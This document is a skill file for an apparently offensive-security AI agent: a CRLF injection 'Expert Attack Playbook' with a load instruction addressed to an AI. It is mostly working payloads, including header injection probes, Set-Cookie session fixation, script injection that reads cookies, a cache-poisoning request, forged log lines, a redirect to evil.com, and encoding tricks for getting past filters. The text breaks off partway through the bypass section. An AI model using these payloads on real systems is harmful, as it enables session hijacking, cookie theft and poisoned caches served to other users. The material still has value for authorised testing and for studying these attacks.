crlf-injection

Files (1)

• SKILL.md

SKILL.md (first lines)

---
name: crlf-injection
description: >-
  CRLF injection playbook. Use when user input reaches HTTP response headers, Location redirects, Set-Cookie values, or log files where carriage-return/line-feed characters can split or inject content.
---

# SKILL: CRLF Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: CRLF injection (HTTP response splitting) techniques. Covers header injection, response body injection via double CRLF, XSS escalation, cache poisoning, and encoding bypass. Often overlooked by scanners but chains into XSS, session fixation, and cache attacks.

## QUICK START

### First-pass probes

| Signal | Probe | Why |
|---|---|---|
| Header injection point (redirect URL, Set-Cookie path) | `%0D%0AX-Injected:true` in param | Confirms CRLF reaches response headers |
| Single CRLF works | `%0D%0ASet-Cookie:evil=test` | Session fixation chain |
| Single CRLF blocked | `%0D` alone, `%0A` alone, `%E5%98%8A%E5%98%8D` | Partial or Unicode bypass |
| Double CRLF | `%0D%0A%0D%0A<script>alert(1)</script>` | Body injection → XSS |
| Input in User-Agent / Referer | `%0D%0A127.0.0.1 - admin [date] "GET /admin" 200` | Log injection / forgery |
| Open redirect via CRLF in Location | `%0D%0ALocation:http://evil.com%0D%0A%0D%0A` | Response splitting → redirect hijack |

```bash
# Quick test — CRLF in redirect param
curl -s -D- 'https://target/redirect?url=%0D%0AX-Injected:true'
```

---

## 1. CORE CONCEPT

CRLF = `\r\n` (Carriage Return + Line Feed, `%0D%0A`). HTTP headers are separated by CRLF. If user input is reflected in a response header without sanitization, injecting CRLF characters creates new headers or even a response body.

```
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
```

---

## 2. DETECTION

### Basic Probe

```text
%0D%0ANew-Header:injected

# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true

# Check response headers for "X-Injected: true"
```

### Double CRLF — Body Injection

Two consecutive CRLF sequences end headers and start body:

```text
%0D%0A%0D%0A<script>alert(1)</script>

# Result:
HTTP/1.1 302 Found
Location: /page

<script>alert(1)</script>
```

---

## 3. EXPLOITATION SCENARIOS

### Session Fixation via Set-Cookie

```text
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
```

### XSS via Response Body

```text
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
```

### Cache Poisoning

If the response is cached by a CDN or proxy, injected headers/body are served to all users:

```text
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
```

### Log Injection

CRLF in log-visible fields (User-Agent, Referer) can forge log entries:

```text
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
```

---

## 4. FILTER BYPASS

| Filter | Bypass |
|---|---|
| Blocks `%0D%0A` | Try `%0D` alone, `%0A` alone, or `%E5%98%8A%E5%98%8D` (Unicode) |
| URL decodes once | Double-encode: `%250D%250A` |
| Strips `\r\n` literally | Use URL-encoded form |
| Blocks in value only | Inject in parameter name |

```text
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D  → decoded as CRLF in some parsers

# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF

# Partial injection (LF only):

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC